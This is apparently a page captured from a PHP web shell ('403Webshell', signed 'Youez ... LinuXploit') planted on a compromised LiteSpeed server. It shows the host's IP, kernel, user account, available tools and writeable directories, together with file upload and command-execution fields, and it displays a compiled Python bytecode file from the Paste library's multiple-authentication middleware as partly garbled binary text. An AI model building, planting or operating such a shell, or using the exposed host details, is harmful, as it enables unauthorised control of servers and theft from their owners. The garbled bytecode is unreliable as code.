403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.145.177.28
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/auth/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/auth/__pycache__/multi.cpython-37.pyc
B

a�N��@s@dZGdd�de�ZeZdgZdekr<ddlZejejd�dS)ah
Authentication via Multiple Methods

In some environments, the choice of authentication method to be used
depends upon the environment and is not "fixed".  This middleware allows
N authentication methods to be registered along with a goodness function
which determines which method should be used. The following example
demonstrates how to use both form and digest authentication in a server
stack; by default it uses form-based authentication unless
``*authmeth=digest`` is specified as a query argument.

>>> from paste.auth import form, cookie, digest, multi
>>> from paste.wsgilib import dump_environ
>>> from paste.httpserver import serve
>>>
>>> multi = multi.MultiHandler(dump_environ)
>>> def authfunc(environ, realm, user):
...     return digest.digest_password(realm, user, user)
>>> multi.add_method('digest', digest.middleware, "Test Realm", authfunc)
>>> multi.set_query_argument('digest')
>>>
>>> def authfunc(environ, username, password):
...     return username == password
>>> multi.add_method('form', form.middleware, authfunc)
>>> multi.set_default('form')
>>> serve(cookie.middleware(multi))
serving on...

c@sBeZdZdZdd�Zdd�Zdd�Zdd	�Zddd
�Zdd�Z	dS)�MultiHandlera�
    Multiple Authentication Handler

    This middleware provides two othogonal facilities:

      - a manner to register any number of authentication middlewares

      - a mechanism to register predicates which cause one of the
        registered middlewares to be used depending upon the request

    If none of the predicates returns True, then the application is
    invoked directly without middleware
    cCs||_||_i|_g|_dS)N)�application�default�binding�	predicate)�selfr�r�A/opt/alt/python37/lib/python3.7/site-packages/paste/auth/multi.py�__init__1szMultiHandler.__init__cOs||jf|�|�|j|<dS)N)rr)r�name�factory�args�kwargsrrr�
add_method6szMultiHandler.add_methodcCs|j�||j|f�dS)N)r�appendr)rr
�checkerrrr�
add_predicate8szMultiHandler.add_predicatecCs|j||_dS)z# set default authentication method N)rr)rr
rrr�set_default:szMultiHandler.set_default�	*authmethNcs(d||p
|f�|�|�fdd��dS)z8 choose authentication method based on a query argument z%s=%scs�|�dd�kS)NZQUERY_STRING�)�get)�environ)�lookforrr�<lambda>A�z1MultiHandler.set_query_argument.<locals>.<lambda>N)r)rr
�key�valuer)rr�set_query_argument=szMultiHandler.set_query_argumentcCs2x$|jD]\}}||�r|||�SqW|�||�S)N)rr)rrZstart_responserrrrr�__call__BszMultiHandler.__call__)rN)
�__name__�
__module__�__qualname__�__doc__r	rrrrrrrrrr#s

r�__main__�N)Zoptionflags)	r!�objectrZ
middleware�__all__rZdoctestZtestmod�ELLIPSISrrrr�<module>!s%

Youez - 2016 - github.com/yon3zu
LinuXploit